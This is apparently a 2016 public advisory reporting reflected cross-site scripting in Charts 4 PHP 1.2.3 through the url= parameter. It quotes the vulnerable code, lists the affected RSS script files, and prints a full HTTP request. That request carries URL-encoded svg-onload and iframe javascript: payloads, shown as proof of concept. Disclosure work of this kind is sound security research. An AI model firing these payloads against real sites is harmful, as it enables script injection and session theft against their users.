# Exploit Title: Charts 4 PHP 1.2.3 Cross Site Scripting
# Date: 2016/2/7
# Researcher: 1N3 @CrowdShield - https://crowdshield.com
# Vendor Homepage: http://www.chartphp.com
# Software Link: http://www.chartphp.com
# Version: 1.2.3
# CVE : N/A
+- --=[Description:
Charts 4 PHP version 1.2.3 is vulnerable to multiple reflected cross-site scripting vulnerabilities due to a failure to sanitize user input in several default pages via the url= parameter.
+- --=[Affected Params:
url=
+- --=[Bug Evidence:
VULNERABLE CODE:
Userinput is passed through function parameters.
9: ⇑ $rss = fetch_rss ($url);
6: $url = $_GET['url'];
requires:
8: if($url)
Vulnerability is also triggered in:
/crowdshield/charts4php/bootstrap/rss/scripts/magpie_debug.php
/crowdshield/charts4php/bootstrap/rss/scripts/simple_smarty.php
/crowdshield/charts4php/bootstrap/rss/scripts/magpie_slashbox.php
/crowdshield/charts4php/bootstrap/rss/rss_fetch.inc
/crowdshield/charts4php/bootstrap/rss/rss_parse.inc
HTTP REQUEST:
GET /charts4php/bootstrap/rss/scripts/magpie_simple.php?url=%22%3E%3Csvg%2Fonload%3Dalert%281%29%3E%27%22--+ HTTP/1.1
Host: host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://crowdshield.com/charts4php/bootstrap/rss/scripts/magpie_simple.php?url=%3Ciframe+src%3D%22+javascript%3Aalert%28%27https%3A%2F%2Fcrowdshield.com%27%29%3B%22%3E%3C%2Fiframe%3E+
Cookie: __cfduid=d89da9abfef7f775eadafcdc1008eac6b1454814806; __utma=242435792.1300894982.1454814681.1454885335.1454891081.5; __utmz=242435792.1454814681.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ga=GA1.2.1300894982.1454814681; __atuvc=1%7C5%2C5%7C6; PHPSESSID=qlct9igheoh2ofg7bo8g8ss691; __utmb=242435792.31.10.1454891081; __utmc=242435792; __atuvs=56b7e04adb06138a001
Connection: close
Channel: